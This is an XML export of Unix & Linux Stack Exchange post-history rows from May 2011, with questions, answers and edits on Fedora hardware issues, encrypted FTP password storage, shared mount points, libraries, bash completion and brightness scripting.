  <row Id="32562" PostHistoryTypeId="2" PostId="13180" RevisionGUID="9c67fe80-911f-4987-be61-c3e3f80fb4b3" CreationDate="2011-05-14T17:21:18.740" UserId="7481" Text="&#xD;&#xA;I have an HP 3031-et series laptop. My Hardware is:&#xD;&#xA;&#xD;&#xA;    Intel i5 460M 3 GB DDR3 RAM&#xD;&#xA;    Graphic Cards: ATI READON 5650 HD and Intel HD Graphic&#xD;&#xA;&#xD;&#xA;I'm starting to install Fedora 14 on my hardware and after installation. I'm starting the hardware check and the result is:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    I cannot use ATI Graphics cards and I cannot switch&#xD;&#xA;&#xD;&#xA;How can I fix this problem and how can I switch on my linux&#xD;&#xA;&#xD;&#xA;Thanks ...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32563" PostHistoryTypeId="1" PostId="13180" RevisionGUID="9c67fe80-911f-4987-be61-c3e3f80fb4b3" CreationDate="2011-05-14T17:21:18.740" UserId="7481" Text="Fedora 14 Graphics İssure" />
  <row Id="32564" PostHistoryTypeId="3" PostId="13180" RevisionGUID="9c67fe80-911f-4987-be61-c3e3f80fb4b3" CreationDate="2011-05-14T17:21:18.740" UserId="7481" Text="éfedoraàéhardwareàégraphicsàéhardwareöcompatibilityà" />
  <row Id="32565" PostHistoryTypeId="2" PostId="13181" RevisionGUID="fc8545c3-0ad4-4003-8554-4a942b54824e" CreationDate="2011-05-14T17:26:43.853" UserId="7481" Text="I have an HP 3031-et series laptop. My Hardware is:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm starting to install Fedora 14 on my hardware and after installation. I'm starting the hardware check and the result is:&#xD;&#xA;&#xD;&#xA;    Synaptics Touchpad: right, center, #3 and #4 buttons not working&#xD;&#xA;&#xD;&#xA;I was try add section on xorg.conf and also gsynaptics and knows a couple way but none of it give me the solution&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks ...  &#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;" />
  <row Id="32566" PostHistoryTypeId="1" PostId="13181" RevisionGUID="fc8545c3-0ad4-4003-8554-4a942b54824e" CreationDate="2011-05-14T17:26:43.853" UserId="7481" Text="Fedora 14 Touchpad İssure" />
  <row Id="32567" PostHistoryTypeId="3" PostId="13181" RevisionGUID="fc8545c3-0ad4-4003-8554-4a942b54824e" CreationDate="2011-05-14T17:26:43.853" UserId="7481" Text="éfedoraàéhardwareàéhardwareöcompatibilityàétouchpadà" />
  <row Id="32568" PostHistoryTypeId="2" PostId="13182" RevisionGUID="07c18175-6153-4237-9c10-287bd6c0f119" CreationDate="2011-05-14T17:32:01.587" UserId="7481" Text="&#xD;&#xA;Ubuntu have install on windows side but could I do same for fedora ??&#xD;&#xA;&#xD;&#xA;Thanks ..." />
  <row Id="32569" PostHistoryTypeId="1" PostId="13182" RevisionGUID="07c18175-6153-4237-9c10-287bd6c0f119" CreationDate="2011-05-14T17:32:01.587" UserId="7481" Text="Wubi For Fedora ?" />
  <row Id="32570" PostHistoryTypeId="3" PostId="13182" RevisionGUID="07c18175-6153-4237-9c10-287bd6c0f119" CreationDate="2011-05-14T17:32:01.587" UserId="7481" Text="éfedoraà" />
  <row Id="32571" PostHistoryTypeId="5" PostId="13182" RevisionGUID="3ce1457b-6dc6-427c-bdfc-d858441ab3d8" CreationDate="2011-05-14T17:39:31.090" UserId="73" Comment="added 74 characters in body" Text="Ubuntu has the ability to install within Windows via [Wubi](http://www.ubuntu.com/download/ubuntu/windows-installer). Is the same thing possible with Fedora?&#xD;&#xA;" />
  <row Id="32572" PostHistoryTypeId="5" PostId="13180" RevisionGUID="62faba19-2649-40d7-a7f1-cc46a45992b3" CreationDate="2011-05-14T17:42:24.430" UserId="73" Comment="deleted 35 characters in body; edited title; deleted 11 characters in body" Text="I have an HP 3031-et series laptop. My hardware is:&#xD;&#xA;&#xD;&#xA;* Intel i5 460M 3 GB DDR3 RAM&#xD;&#xA;* Graphic Cards: ATI READON 5650 HD and Intel HD Graphic&#xD;&#xA;&#xD;&#xA;I installed Fedora 14 on my hardware, and after installation I ran the hardware check. The result was:&#xD;&#xA;    &#xD;&#xA;&gt; I cannot use ATI Graphics cards and I cannot switch&#xD;&#xA;&#xD;&#xA;How can I fix this problem and how can I switch on my linux?&#xD;&#xA;" />
  <row Id="32573" PostHistoryTypeId="4" PostId="13180" RevisionGUID="62faba19-2649-40d7-a7f1-cc46a45992b3" CreationDate="2011-05-14T17:42:24.430" UserId="73" Comment="deleted 35 characters in body; edited title; deleted 11 characters in body" Text="Fedora 14 graphics issue" />
  <row Id="32574" PostHistoryTypeId="5" PostId="13181" RevisionGUID="ca09fcf6-115a-4b8e-8320-e02899cb773f" CreationDate="2011-05-14T17:43:30.590" UserId="73" Comment="added 49 characters in body; edited title" Text="I have an HP 3031-et series laptop. My hardware is:&#xD;&#xA;&#xD;&#xA;* Intel i5 460M 3 GB DDR3 RAM&#xD;&#xA;* Graphic Cards: ATI READON 5650 HD and Intel HD Graphic&#xD;&#xA;&#xD;&#xA;I installed Fedora 14 on my hardware, and after installation I ran the hardware check. The result was:&#xD;&#xA;&#xD;&#xA;&gt; Synaptics Touchpad: right, center, #3 and #4 buttons not working&#xD;&#xA;&#xD;&#xA;I tried adding a section in `xorg.conf` and also `gsynaptics`, but none of the things I tried worked. How can I fix this?&#xD;&#xA;" />
  <row Id="32575" PostHistoryTypeId="4" PostId="13181" RevisionGUID="ca09fcf6-115a-4b8e-8320-e02899cb773f" CreationDate="2011-05-14T17:43:30.590" UserId="73" Comment="added 49 characters in body; edited title" Text="Fedora 14 touchpad issue" />
  <row Id="32576" PostHistoryTypeId="6" PostId="13175" RevisionGUID="bea086d1-b1f9-4867-bd21-67028200c8c1" CreationDate="2011-05-14T17:44:08.343" UserId="73" Comment="edited tags" Text="éfedoraàéclearcaseà" />
  <row Id="32577" PostHistoryTypeId="25" PostId="13182" RevisionGUID="6820649c-12d8-44ae-8a58-9d9640c1796b" CreationDate="2011-05-14T18:12:09.340" Comment="http://twitter.com/#!/StackUnix/status/69465032441856000" />
  <row Id="32578" PostHistoryTypeId="2" PostId="13183" RevisionGUID="a4580ded-a4ad-4079-ab9d-143419fa558e" CreationDate="2011-05-14T18:18:37.273" UserId="3558" Text="I want to be able to store the login details all of my remote FTP accounts in one place, securely. Then I'd like clients like autofs/curlftpfs, Filezilla, etc to use this one store of passwords. I'm not interested in GUI-dependent solutions. Is this possible somehow?" />
  <row Id="32579" PostHistoryTypeId="1" PostId="13183" RevisionGUID="a4580ded-a4ad-4079-ab9d-143419fa558e" CreationDate="2011-05-14T18:18:37.273" UserId="3558" Text="A local, centralized, secure way to store FTP login data, including passwords" />
  <row Id="32580" PostHistoryTypeId="3" PostId="13183" RevisionGUID="a4580ded-a4ad-4079-ab9d-143419fa558e" CreationDate="2011-05-14T18:18:37.273" UserId="3558" Text="ésecurityàépasswordàéftpà" />
  <row Id="32581" PostHistoryTypeId="2" PostId="13184" RevisionGUID="af8d46f9-7176-4a7f-83d6-25e0057ca32c" CreationDate="2011-05-14T18:42:53.803" UserId="2000" Text="As far as I know, it is not possible, at least not yet anyway." />
  <row Id="32582" PostHistoryTypeId="2" PostId="13185" RevisionGUID="3ea03343-ce0f-4be0-9134-11c565de8e2f" CreationDate="2011-05-14T19:25:02.517" UserId="7464" Text="MediaTomb adds album covers and DVD covers into the photo collection. That means, when you are going through your photos, you also get album covers intermixed in there.&#xD;&#xA;&#xD;&#xA;Is there a way of restricting the type of media from specific folders. So, /path/to/music will be restricted to music, /path/to/photos will be restricted to photos etc?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32583" PostHistoryTypeId="1" PostId="13185" RevisionGUID="3ea03343-ce0f-4be0-9134-11c565de8e2f" CreationDate="2011-05-14T19:25:02.517" UserId="7464" Text="MediaTomb - Not showing Cover Art from music folder in the photo collection" />
  <row Id="32584" PostHistoryTypeId="3" PostId="13185" RevisionGUID="3ea03343-ce0f-4be0-9134-11c565de8e2f" CreationDate="2011-05-14T19:25:02.517" UserId="7464" Text="émediaà" />
  <row Id="32585" PostHistoryTypeId="5" PostId="11409" RevisionGUID="ab9decb5-cb9a-4ca3-8d86-ae7c9e965796" CreationDate="2011-05-14T19:48:21.957" UserId="6290" Comment="edit after I figured out where v7 stores the close-on-exec flag" Text="In 7th Edition Unix, the file descriptor is an index to a table in the user structure which is simply an array of pointers into the [system global] open file table. So the file descriptor itself is really an _indirect_ reference, a 'pointer to a pointer' of sorts. It also indexes an array of one-byte flag fields (which only included, at the time at least, the close-on-exec flag).&#xD;&#xA;&#xD;&#xA;&lt;!-- language: c --&gt;&#xD;&#xA;&#xD;&#xA;    struct user {&#xD;&#xA;        ...&#xD;&#xA;        struct file *u_ofile[NOFILE]; /* pointers to file structures of open files */&#xD;&#xA;        char u_pofile[NOFILE]; /* per-process flags of open files */&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The open file table itself contains the read/write mode a file was opened with, a pointer to the inode, the position, and probably dozens of other things on modern systems. I have no idea if the file descriptor table contains anything more than this on modern systems.&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;&#xD;&#xA; - http://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/sys/h/user.h (u_ofile)&#xD;&#xA; - http://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/sys/h/file.h&#xD;&#xA; - http://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/sys/sys/fio.c (getf)" />
  <row Id="32586" PostHistoryTypeId="2" PostId="13186" RevisionGUID="c8f0434e-eae3-45d1-8434-88b4956f8e0a" CreationDate="2011-05-14T19:52:05.010" UserId="6290" Text="With the `rename` utility included in the `util-linux` package (the one on dj_segfault's answer comes from perl), you could do `rename '' Unix_ *`" />
  <row Id="32587" PostHistoryTypeId="5" PostId="8260" RevisionGUID="88c8280e-a75d-44c9-ad79-d27118cc0972" CreationDate="2011-05-14T20:03:46.227" UserId="4671" Comment="minor syntax corrections." Text="I want to install Scilab on OpenSUSE 11.3. Which repository is it located in? I cannot find it listed in the package manager. I have tried to install the rpm manually, but I cannot resolve the dependencies." />
  <row Id="32588" PostHistoryTypeId="4" PostId="8260" RevisionGUID="88c8280e-a75d-44c9-ad79-d27118cc0972" CreationDate="2011-05-14T20:03:46.227" UserId="4671" Comment="minor syntax corrections." Text="installing Scilab in OpenSUSE 11.3" />
  <row Id="32589" PostHistoryTypeId="24" PostId="8260" RevisionGUID="88c8280e-a75d-44c9-ad79-d27118cc0972" CreationDate="2011-05-14T20:03:46.227" Comment="Proposed by 4671 approved by 885 edit id of 372" />
  <row Id="32590" PostHistoryTypeId="6" PostId="13182" RevisionGUID="7f2f9440-96fb-4299-974b-51387c3ccd86" CreationDate="2011-05-14T20:04:55.557" UserId="885" Comment="edited tags" Text="éfedoraàéwubià" />
  <row Id="32591" PostHistoryTypeId="2" PostId="13187" RevisionGUID="9d9dca48-337f-47a5-a346-8ed1acd26dc5" CreationDate="2011-05-14T20:08:35.303" UserId="2510" Text="`mount` has an option `--make-shared` as described [here][1]. However, how do I find out if a particular mount point has been made shared?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ibm.com/developerworks/linux/library/l-mount-namespaces.html" />
  <row Id="32592" PostHistoryTypeId="1" PostId="13187" RevisionGUID="9d9dca48-337f-47a5-a346-8ed1acd26dc5" CreationDate="2011-05-14T20:08:35.303" UserId="2510" Text="What's an easy way to see whether a mount point has been made shared?" />
  <row Id="32593" PostHistoryTypeId="3" PostId="13187" RevisionGUID="9d9dca48-337f-47a5-a346-8ed1acd26dc5" CreationDate="2011-05-14T20:08:35.303" UserId="2510" Text="élinuxàémountà" />
  <row Id="32595" PostHistoryTypeId="2" PostId="13188" RevisionGUID="0566783f-71ff-45ef-98ff-8f7536d19eae" CreationDate="2011-05-14T20:26:37.307" UserId="885" Text="Ideally those would be SFTP accounts, using SSH public key authentication rather than passwords. You'd gain both security and convenience. But let's assume you don't have a choice of not using FTP with passwords.&#xD;&#xA;&#xD;&#xA;You could store the passwords (the `.netrc` file) on an encrypted filesystem and mount that filesystem only when you want to access it. A simple way to create an encrypted directory tree is [encfs](http://www.arg0.net/encfs). Setup:&#xD;&#xA;&#xD;&#xA;    # install encfs, e.g. apt-get install encfs&#xD;&#xA;    mkdir ~/.passwords.d&#xD;&#xA;    encfs ~/.passwords.encfs ~/.passwords.d&#xD;&#xA;    mv ~/.netrc ~/.passwords.d&#xD;&#xA;    ln -s .passwords.d/.netrc ~&#xD;&#xA;    fusermount -u ~/.passwords.d&#xD;&#xA;&#xD;&#xA;Daily use:&#xD;&#xA;&#xD;&#xA;    encfs ~/.passwords.encfs ~/.passwords.d&#xD;&#xA;    ftp …&#xD;&#xA;    fusermount -u ~/.passwords.d&#xD;&#xA;" />
  <row Id="32596" PostHistoryTypeId="2" PostId="13189" RevisionGUID="d5cf5d93-5368-4016-9673-93a02f6d54dd" CreationDate="2011-05-14T21:12:10.020" UserId="4671" Text="Why don't you use a OpenSUSE rpm? The OpenSUSE build service has rpms [here](https://build.opensuse.org/package/show?package=pencil&amp;project=openSUSE:Factory:Contrib). If the packages aren't up to date, it will probably not be difficult to modify the packaging and rebuild a binary rpm." />
  <row Id="32597" PostHistoryTypeId="25" PostId="13185" RevisionGUID="23f5aecb-a7af-4671-9561-a5f4f7f708ae" CreationDate="2011-05-14T21:12:10.363" Comment="http://twitter.com/#!/StackUnix/status/69510336075669504" />
  <row Id="32598" PostHistoryTypeId="2" PostId="13190" RevisionGUID="c8290aef-6248-4f4e-a2cd-4930fd5d1815" CreationDate="2011-05-14T21:14:23.020" UserId="885" Text="Linux exposes information about mounted filesystems in `/proc/mounts`. The [sharing options](http://www.kernel.org/doc/Documentation/filesystems/sharedsubtree.txt) are too recent to show up in that file, but they do show up in `/proc/self/mountinfo`¹. The documentation for this file is in [`filesystems/proc.txt`](http://www.kernel.org/doc/Documentation/filesystems/proc.txt) in the kernel documentation. The file is generated by [`show_mountinfo` in `fs/namespace.c`](http://lxr.linux.no/#linux+v2.6.38/fs/namespace.c#L1005). A sample line looks like this:&#xD;&#xA;&#xD;&#xA;    42 18 98:0 / /mount_point rw shared:1 - ext3 /dev/sda1 rw,errors=continue&#xD;&#xA;                                 ^^^^^^^^&#xD;&#xA;&#xD;&#xA;The format of the first 6 fields is fixed. Then come zero or more tagged fields, such as `shared:GROUP`, `master:GROUP`, `propagate_from:GROUP` or `unbindable`, indicating the mount's role in a peer group if any. The `-` introduces the filesystem-specific part, always composed of the filesystem type name, device name and filesystem-specific mount options.&#xD;&#xA;&#xD;&#xA;Thus:&#xD;&#xA;&#xD;&#xA;    &lt;/proc/self/mountinfo awk -vmount_point='/mount/point' '&#xD;&#xA;    $5 == mount_point {&#xD;&#xA;        i = 7;&#xD;&#xA;        while ($i != &quot;-&quot;) {if ($i ~ /^shared:/) exit 0; ++i}&#xD;&#xA;        exit 1;&#xD;&#xA;    }'&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; On recent enough Linux kernels, each process has its own filesystem namespace and `/proc/mounts` is a symbolic link to `/proc/self/mounts`. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="32599" PostHistoryTypeId="2" PostId="13191" RevisionGUID="ccdd012f-0d91-460b-86b9-bca8439d02f3" CreationDate="2011-05-14T22:26:51.443" UserId="7493" Text="Some of the other answers might be better however, if I thought that xargs deserved a mention since it is a very powerful tool (and on many systems):&#xD;&#xA;&#xD;&#xA;In this particular you could do:&#xD;&#xA;&#xD;&#xA;    ls | xargs -n1 -I{} mv {} Unix_{}" />
  <row Id="32600" PostHistoryTypeId="2" PostId="13192" RevisionGUID="61df198a-f775-426d-8c96-4c0a4c5419a5" CreationDate="2011-05-14T22:35:36.063" UserId="7183" Text="As far as I understand they are libraries, but what is the difference between the two?" />
  <row Id="32601" PostHistoryTypeId="1" PostId="13192" RevisionGUID="61df198a-f775-426d-8c96-4c0a4c5419a5" CreationDate="2011-05-14T22:35:36.063" UserId="7183" Text="What is the difference between .a and .so file?" />
  <row Id="32602" PostHistoryTypeId="3" PostId="13192" RevisionGUID="61df198a-f775-426d-8c96-4c0a4c5419a5" CreationDate="2011-05-14T22:35:36.063" UserId="7183" Text="élibrariesà" />
  <row Id="32603" PostHistoryTypeId="2" PostId="13193" RevisionGUID="c42b9852-9450-46ae-846a-94a1975d6bde" CreationDate="2011-05-14T22:47:06.900" UserId="7220" Text="A `.a` file is a static library, while a `.so` file is a shared object (dynamic) library similar to a DLL on Windows. There's some detailed information about the differences between the two on **[this page](http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html)**." />
  <row Id="32604" PostHistoryTypeId="2" PostId="13194" RevisionGUID="a6e645a6-e5f1-44c0-810e-d8d4b75bf245" CreationDate="2011-05-14T23:06:16.187" UserId="7481" Text="I was installed Fedora 14 64 bits on Windows7 64 bits system. Vmware users know we can't use openGL support we cannot compiz or other openGL programs. I searched on google and I fidn solution but this solution for Linux host - linux guest or win host - win guest.&#xD;&#xA;&#xD;&#xA;Here my question How can I use openGL with Win host - Linux guest &#xD;&#xA;&#xD;&#xA;Thanks ..." />
  <row Id="32605" PostHistoryTypeId="1" PostId="13194" RevisionGUID="a6e645a6-e5f1-44c0-810e-d8d4b75bf245" CreationDate="2011-05-14T23:06:16.187" UserId="7481" Text="Vmware Guest OS Fedora" />
  <row Id="32606" PostHistoryTypeId="3" PostId="13194" RevisionGUID="a6e645a6-e5f1-44c0-810e-d8d4b75bf245" CreationDate="2011-05-14T23:06:16.187" UserId="7481" Text="éfedoraàégraphicsàéhardwareöcompatibilityàévmwareà" />
  <row Id="32607" PostHistoryTypeId="5" PostId="13194" RevisionGUID="bf484c12-2298-4739-8462-4b54343b0ddd" CreationDate="2011-05-14T23:29:16.660" UserId="885" Comment="grammar; title; tags" Text="I installed Fedora 14 (64-bit) on a Windows 7 64 bits system, as a guest in VMWare. I can't use OpenGL support, Compiz and other openGL programs do not work. I searched on Google; I found solutions if both the guest and the host run Linux or if both the guest and the host run Windows.&#xD;&#xA;&#xD;&#xA;How can I use OpenGL with a Windows host and Linux guest in VMWare?&#xD;&#xA;" />
  <row Id="32608" PostHistoryTypeId="4" PostId="13194" RevisionGUID="bf484c12-2298-4739-8462-4b54343b0ddd" CreationDate="2011-05-14T23:29:16.660" UserId="885" Comment="grammar; title; tags" Text="OpenGL in Fedora as a VMWare guest under Windows 7" />
  <row Id="32609" PostHistoryTypeId="6" PostId="13194" RevisionGUID="bf484c12-2298-4739-8462-4b54343b0ddd" CreationDate="2011-05-14T23:29:16.660" UserId="885" Comment="grammar; title; tags" Text="élinuxàéfedoraàégraphicsàévmwareàéopenglà" />
  <row Id="32610" PostHistoryTypeId="2" PostId="13195" RevisionGUID="7d48c554-9ede-430d-898f-ffc3085206dc" CreationDate="2011-05-14T23:53:48.263" UserId="7431" Text="So I have two monitors, I want to rotate one in portrait. AFAIK twinview doesn't allow single monitor rotation -- both monitors are rotated. &#xD;&#xA;&#xD;&#xA;The reason I want twinview is because it allows compositing. My question would be, is there anything I can do to have both compositing, and dual head, and one of the monitors in portrait mode. If not, when are these ridiculously simple problems going to be addressed ? " />
  <row Id="32611" PostHistoryTypeId="1" PostId="13195" RevisionGUID="7d48c554-9ede-430d-898f-ffc3085206dc" CreationDate="2011-05-14T23:53:48.263" UserId="7431" Text="dualhead nvidia twinview + one monitor rotated." />
  <row Id="32612" PostHistoryTypeId="3" PostId="13195" RevisionGUID="7d48c554-9ede-430d-898f-ffc3085206dc" CreationDate="2011-05-14T23:53:48.263" UserId="7431" Text="éx11àénvidiaà" />
  <row Id="32613" PostHistoryTypeId="5" PostId="13195" RevisionGUID="5aabc5bc-b855-4258-b229-8cf3dbcdceb2" CreationDate="2011-05-15T00:06:56.503" UserId="885" Comment="edited flamebait out" Text="So I have two monitors, I want to rotate one in portrait. AFAIK twinview doesn't allow single monitor rotation -- both monitors are rotated. &#xD;&#xA;&#xD;&#xA;The reason I want twinview is because it allows compositing. My question would be, is there anything I can do to have both compositing, and dual head, and one of the monitors in portrait mode." />
  <row Id="32614" PostHistoryTypeId="25" PostId="13194" RevisionGUID="0d2b13b7-1ba1-4d3a-8085-02c5a0d6fafc" CreationDate="2011-05-15T00:12:11.593" Comment="http://twitter.com/#!/StackUnix/status/69555639369736194" />
  <row Id="32615" PostHistoryTypeId="5" PostId="13191" RevisionGUID="57e214a8-ac49-4aac-90a6-231935b9c421" CreationDate="2011-05-15T01:52:23.917" UserId="7493" Comment="retracting answer." Text="&lt;strike&gt;Some of the other answers might be better however, if I thought that xargs deserved a mention since it is a very powerful tool (and on many systems):&#xD;&#xA;&#xD;&#xA;In this particular you could do:&#xD;&#xA;&#xD;&#xA;    ls | xargs -n1 -I{} mv {} Unix_{}&#xD;&#xA;&#xD;&#xA;&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;**Edit:** Retracted per [Gilles](http://unix.stackexchange.com/users/885/gilles)' comment. For this situation this solution should be considered only a hack due to the caveats as pointed out by the cited article. The other answers are much better. I still think that `xargs` is still a useful tool (I use it with `svn status` relatively frequently), but he's right, for simple execute some command on all files in a tree of directories, this isn't the answer and find is much better. (Leaving the answer since the I think the comment is good for people who'd make the same mistake)." />
  <row Id="32616" PostHistoryTypeId="8" PostId="13195" RevisionGUID="4cba047e-4de6-4ce1-a3dd-4a0e2e8749e9" CreationDate="2011-05-15T02:10:26.057" UserId="7431" Comment="Rollback to [7d48c554-9ede-430d-898f-ffc3085206dc]" Text="So I have two monitors, I want to rotate one in portrait. AFAIK twinview doesn't allow single monitor rotation -- both monitors are rotated. &#xD;&#xA;&#xD;&#xA;The reason I want twinview is because it allows compositing. My question would be, is there anything I can do to have both compositing, and dual head, and one of the monitors in portrait mode. If not, when are these ridiculously simple problems going to be addressed ? " />
  <row Id="32617" PostHistoryTypeId="25" PostId="13192" RevisionGUID="3682e64b-1808-40ac-a863-c699e3ce9bcc" CreationDate="2011-05-15T03:12:12.013" Comment="http://twitter.com/#!/StackUnix/status/69600940268855297" />
  <row Id="32618" PostHistoryTypeId="5" PostId="13195" RevisionGUID="75a7d66a-0f58-47e1-9e3b-8f589f8fd67e" CreationDate="2011-05-15T04:00:08.593" UserId="7431" Comment="deleted 9 characters in body" Text="So I have two monitors, I want to rotate one in portrait. AFAIK twinview doesn't allow single monitor rotation -- both monitors are rotated. &#xD;&#xA;&#xD;&#xA;The reason I want twinview is because it allows compositing. My question would be, is there anything I can do to have compositing, dual head, and one of the monitors in portrait mode. If not, when are these ridiculously simple problems going to be addressed ? " />
  <row Id="32619" PostHistoryTypeId="2" PostId="13196" RevisionGUID="ce842682-f702-428c-b4d1-8666f44d67c1" CreationDate="2011-05-15T04:03:00.050" UserId="7237" Text="I can use something like&#xD;&#xA;&#xD;&#xA;    setpci -s 00:02.0 F4.B=XX&#xD;&#xA;&#xD;&#xA;replacing 00:02.0 with your device address (obtained via lspci | grep VGA) and XX with a value between 00 and FF (FF = 100%, 7F = 50%, etc...) to manually change my brightness from the terminal (as root, or with proper chmods).&#xD;&#xA;&#xD;&#xA;I wish to make a script to manually change my brightness via keystrokes. To do so, I need to get the *current state (XX above)* in order to relay to the script the current brightness of the screen. &#xD;&#xA;&#xD;&#xA;How can I obtain the current state?" />
  <row Id="32620" PostHistoryTypeId="1" PostId="13196" RevisionGUID="ce842682-f702-428c-b4d1-8666f44d67c1" CreationDate="2011-05-15T04:03:00.050" UserId="7237" Text="setpci - Making a script to manually change brightness" />
  <row Id="32621" PostHistoryTypeId="3" PostId="13196" RevisionGUID="ce842682-f702-428c-b4d1-8666f44d67c1" CreationDate="2011-05-15T04:03:00.050" UserId="7237" Text="éscriptingà" />
  <row Id="32622" PostHistoryTypeId="2" PostId="13197" RevisionGUID="bf263e5e-aded-4d28-80e0-fd99d0df30ad" CreationDate="2011-05-15T05:25:15.027" UserId="7421" Text="I like the &quot;compile it yourself&quot; philosophy that Gentoo runs on, but how is the support for non-ebuild programs?  That might just mean binaries, but also programs in general that were not acquired through Emerge.&#xD;&#xA;&#xD;&#xA;Is it a big problem when the actual stuff installed on the system gets out of sync with Emerge's bookkeeping?" />
  <row Id="32623" PostHistoryTypeId="1" PostId="13197" RevisionGUID="bf263e5e-aded-4d28-80e0-fd99d0df30ad" CreationDate="2011-05-15T05:25:15.027" UserId="7421" Text="Non-Ebuild Programs on Gentoo" />
  <row Id="32624" PostHistoryTypeId="3" PostId="13197" RevisionGUID="bf263e5e-aded-4d28-80e0-fd99d0df30ad" CreationDate="2011-05-15T05:25:15.027" UserId="7421" Text="ésoftwareöinstallationàégentooà" />
  <row Id="32625" PostHistoryTypeId="2" PostId="13198" RevisionGUID="7c1040ff-53f7-4d56-a698-d8fb4df2200e" CreationDate="2011-05-15T05:40:46.510" UserId="3886" Text="Such software usually better to install in separate tree, such as your home directory or `/opt`. In general, things may gone bad if you will install software manually in the same directories as portage. Most obvious problem - conflicts, when your software overwrites files from some package or vice versa." />
  <row Id="32626" PostHistoryTypeId="2" PostId="13199" RevisionGUID="314a63fc-e935-4815-9333-831edb8b0622" CreationDate="2011-05-15T05:57:53.977" UserId="2421" Text="I use [Paludis][1], which is an alternative package manager for Gentoo.  It offers good support for manually installed programs through the [cave import][2] command.  Here's a [blog entry][3] about the `importare` client, which was what `cave import` was called in older versions of Paludis.  The new command works pretty much the same way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://paludis.pioto.org/&#xD;&#xA;  [2]: http://paludis.pioto.org/clients/cave-import.html&#xD;&#xA;  [3]: http://ciaranm.wordpress.com/2008/05/20/managing-unpackaged-packages-or-whats-this-importare-thing/" />
  <row Id="32627" PostHistoryTypeId="25" PostId="13197" RevisionGUID="df0baeda-9de7-48ea-920a-38524016abe9" CreationDate="2011-05-15T06:12:11.597" Comment="http://twitter.com/#!/StackUnix/status/69646237044977664" />
  <row Id="32628" PostHistoryTypeId="17" PostId="13201" RevisionGUID="571bc223-232a-4333-a1e9-f34b4620bfce" CreationDate="2011-05-15T06:58:55.573" UserId="-1" Comment="from http://stackoverflow.com/questions/5997274/how-to-bash-complete-output-of-two-arbitrary-commands-at-the-same-time/5997664#5997664" Text="" />
  <row Id="32629" PostHistoryTypeId="2" PostId="13201" RevisionGUID="3effd229-193e-438d-8437-8739a5d93ec0" CreationDate="2011-05-13T20:53:37.297" UserId="885" Text="Either&#xD;&#xA;&#xD;&#xA;    COMPREPLY=($(compgen -W '$(pwd)' -- &quot;$cur&quot;) $(compgen -W '$(hostname)' -- &quot;$cur&quot;))&#xD;&#xA;&#xD;&#xA;(you want a bigger array, just make one) or&#xD;&#xA;&#xD;&#xA;    COMPREPLY=($( compgen -W '$(pwd; hostname)' -- &quot;$cur&quot; ) )&#xD;&#xA;&#xD;&#xA;(still autocompleting one command).&#xD;&#xA;" />
  <row Id="32630" PostHistoryTypeId="2" PostId="13200" RevisionGUID="05820611-afd5-4743-aa4d-c8cd488ed83f" CreationDate="2011-05-13T20:15:07.437" UserId="688" Text="Here goes:&#xD;&#xA;&#xD;&#xA;    function _command() {&#xD;&#xA;        local cur&#xD;&#xA;        COMPREPLY=()&#xD;&#xA;        cur=${COMP_WORDS[COMP_CWORD]}&#xD;&#xA;        if [ &quot;$COMP_CWORD&quot; -ge &quot;2&quot; ]; then&#xD;&#xA;            COMPREPLY=($( compgen -W '$(pwd)' -- &quot;$cur&quot; ) )&#xD;&#xA;        else&#xD;&#xA;            COMPREPLY=($( compgen -W &quot;arg1 arg2&quot; -- &quot;$cur&quot; ) )&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    complete -F _command command&#xD;&#xA;&#xD;&#xA;This works well, so long as I `source` it.&#xD;&#xA;&#xD;&#xA;What if I want it to auto-complete both outputs of `pwd` and some other arbitrary command, say `hostname`? What if I also wanted it to auto-complete on any file path?" />
  <row Id="32631" PostHistoryTypeId="1" PostId="13200" RevisionGUID="05820611-afd5-4743-aa4d-c8cd488ed83f" CreationDate="2011-05-13T20:15:07.437" UserId="688" Text="How to bash-complete output of two arbitrary commands at the same time" />
  <row Id="32632" PostHistoryTypeId="3" PostId="13200" RevisionGUID="05820611-afd5-4743-aa4d-c8cd488ed83f" CreationDate="2011-05-13T20:15:07.437" UserId="688" Text="ébashà" />
  <row Id="32633" PostHistoryTypeId="17" PostId="13200" RevisionGUID="7956ee72-1414-4273-a5cd-c2c1995e635a" CreationDate="2011-05-15T06:58:55.573" UserId="-1" Comment="from http://stackoverflow.com/questions/5997274/how-to-bash-complete-output-of-two-arbitrary-commands-at-the-same-time" Text="" />
  <row Id="32634" PostHistoryTypeId="2" PostId="13202" RevisionGUID="3ba61107-f3cc-4fe7-a079-13c9fdfb63b0" CreationDate="2011-05-15T07:01:14.647" UserId="1952" Text="There is a little program called xbacklight. It can get and set the brightness of your screen. If you have a webcam, you can even let it set your brightness automatically by taking a picture, getting the average brightness and setting the screen brightness accordingly.&#xD;&#xA;&#xD;&#xA;    image='/home/kim/brightness.jpeg'&#xD;&#xA;    streamer -c /dev/video0 -b 16 -o $image &gt;/dev/null 2&gt;/dev/null &amp;&amp; \&#xD;&#xA;    meanline=`convert $image -colorspace gray -verbose info: | grep '^\s*mean: '`&#xD;&#xA;    if [[ $meanline =~ \((.*)\) ]]; then&#xD;&#xA;    	brightness=&quot;${BASH_REMATCH[1]}&quot;&#xD;&#xA;    	brightness=`echo &quot;$brightness * 200&quot; | bc`&#xD;&#xA;    	echo $brightness&#xD;&#xA;    	xbacklight -set $brightness&#xD;&#xA;    	xbacklight&#xD;&#xA;    fi&#xD;&#xA;    rm -f &quot;$image&quot;&#xD;&#xA;&#xD;&#xA;" />
